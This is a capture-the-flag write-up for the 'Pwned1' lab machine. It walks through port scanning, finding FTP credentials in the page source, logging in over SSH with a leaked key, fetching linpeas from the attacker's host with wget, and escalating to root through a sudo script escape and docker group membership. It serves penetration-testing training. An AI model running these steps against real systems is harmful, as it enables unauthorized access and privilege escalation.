# Pwned1

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7617b0a64cbc944016971b037bdb7f17f25c9d22%2Fimage.png?alt=media)

## Nmap

```
sudo nmap 192.168.218.95 -p- -sS -sC

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.66 seconds
```

## FTP

We have FTP open running vsftpd 3.0.3. As of the time of writing this version does not have any public exploits. I check the anonymous login and we get '530 Permission denied.'

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c52b0be17be25a08c0265b20dcfeac42b2cf9505%2Fimage.png?alt=media)

## HTTP

We have HTTP open on port 80. I start by running `Feroxbuster` and `nikto` to enumerate directories and scan for vulnerabilities.

![feroxbuster](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b6c1bb325cedad2475db66b7083e46e1e26b9bc2%2Fimage.png?alt=media)

![Nikto](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9071a02c1c904a22f5e554999c47b5aa1282cbc9%2Fimage.png?alt=media)

After a short while `nikto` finishes with the results below.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e8d9e4aaae471cb5469faa5073514750e4368dcc%2Fimage.png?alt=media)

We can take note of the following interesting information:

* /nothing/
* /hidden\_text/
* /robots.txt

Before we look at these we can take a quick look at the root page for <http://192.168.218.95>

![http://192.168.218.95](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6a468a9ea0c2a037d940141782cb502f8cfb7a3b%2Fimage.png?alt=media)

The directory /nothing/ contains the following:

![/nothing/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-82b78e7a53984cd7979422d8a59209eac60edfcd%2Fimage.png?alt=media)

The Directory /hidden\_text/ contains a file secret.dic. We can extract this information and load it into `feroxbuster`.

![/hidden\_text/secret.dic](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7505407c9574172da6c26c7d9ee69c96d1788ed6%2Fimage.png?alt=media)

We get the following results from running the secret.dic file against feroxbuster.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5ae2e06076f498699ac7e00c59ba5f232823428e%2Fimage.png?alt=media)

the directory /pwned.vuln takes us to the following page:

![http://192.168.218.95/pwned.vuln/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-dc4127fe645a23b51a54e93701877a579cfdfbf6%2Fimage.png?alt=media)

Viewing the page source produces the following information:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-643926e8a8a31b0fb42109ed1bcab28df7267ef4%2Fimage.png?alt=media)

We have the following credentials:

```
ftpuser:B0ss_Pr!ncesS
```

## FTP

I tried these against the /pwned.vuln page and these credentials are not valid. FTP is a hint due to the username so we can check this next.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fef88d030128c31ec8390472f71cd7d94ed99491%2Fimage.png?alt=media)

Once inside FTP we can move into the 'share' directory and download the contents inside.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-08d04b39379dac9ae41ee8c15a021213b7d00a68%2Fimage.png?alt=media)

When reading the contents of note.txt we see e have a potential username of 'ariana'.

## SSH

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9b4ad0b3f18a99b74ed77bc42f5c04e76e54747d%2Fimage.png?alt=media)

The other file we have is a possible SSH key. We can take proper owner of this file with the `chmod` command and then attempt to use this against SSH with the username ariana.

```
chmod 600 id_rsa
```

We can then attempt to use this to login to `SSH` with.

```
ssh -i /home/kali/id_rsa ariana@192.168.218.95
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-55831ea45a8371bd5addad5b471b847a5d6c3c16%2Fimage.png?alt=media)

## Access as user

We now have access as ariana. We can grab the user flag in our current directory before moving onto privilege escalation.

In the directory we have the file 'ariana-personal.diary' which contains the information below:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6426e2f82bea095b5f73907dec45279c9574e867%2Fimage.png?alt=media)

Currently I am not sure how this information could be useful right now as we have already found this directory on the server.

I next upload `linpeas` to get the server using a python server on my attacking machine.

```
wget http://<Attacking-IP>:<port>/linpeas.sh
```

## Privilege Escalation

After running `linpeas.sh` we see the following information that stands out:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e039e217843141479be2dc4a99ca0e2bdd2c432c%2Fimage.png?alt=media)

We can run the following file /home/messenger.sh with sudo without a password requirement as the user selena.

The file messenger.sh is made up of the following:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3b7296cc2b626f3b0720753367117b9558f28260%2Fimage.png?alt=media)

Lets run the file and see what happens.

```
sudo -u selena /home/messenger.sh
```

I tried running a `whoami` command to see if anything interesting would happen and nothing did.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-63b7ea290e4e8976be849f7baffda35b662546bd%2Fimage.png?alt=media)

We can check [GTFObins ](https://gtfobins.github.io/gtfobins/bash/)to see if we can perform an escape on the script.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-49728fd929c5e6448f1686fb207daa76c9b974ae%2Fimage.png?alt=media)

I run the script again using bash as the value and was then able to perform the `id` command as the user selena.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b6583ad3d3ac74c1bc7410c43125b175fba89f13%2Fimage.png?alt=media)

I then upgraded the shell to something a little more usable.

```
/usr/bin/script -qc /bin/bash /dev/null
```

We also have a diary in selene's directory which at this point does not provide any new information.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b22bc84fb387119c4a6fd09231644654f566299c%2Fimage.png?alt=media)

Again we can run `linpeas.sh` to check for any possible privilege escalation routes.

```
wget http://<Attacking-IP>:<port>/linpeas.sh
```

linpeas.sh shows that we are part of the 'docker' group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5b5d254e1c20b55d696d54ac33da194ffcb6cb71%2Fimage.png?alt=media)

If we search docker on [GTFObins](https://gtfobins.github.io/gtfobins/bash/) we see we may be able to spawn a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-94cc7f4aa32e4ae02cf6a9b7176c80c633baa0ee%2Fimage.png?alt=media)

I executed the command above and was able to spawn a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7c8f4a1e3c686f2a2a3af5c6f680eb543aee1cca%2Fimage.png?alt=media)
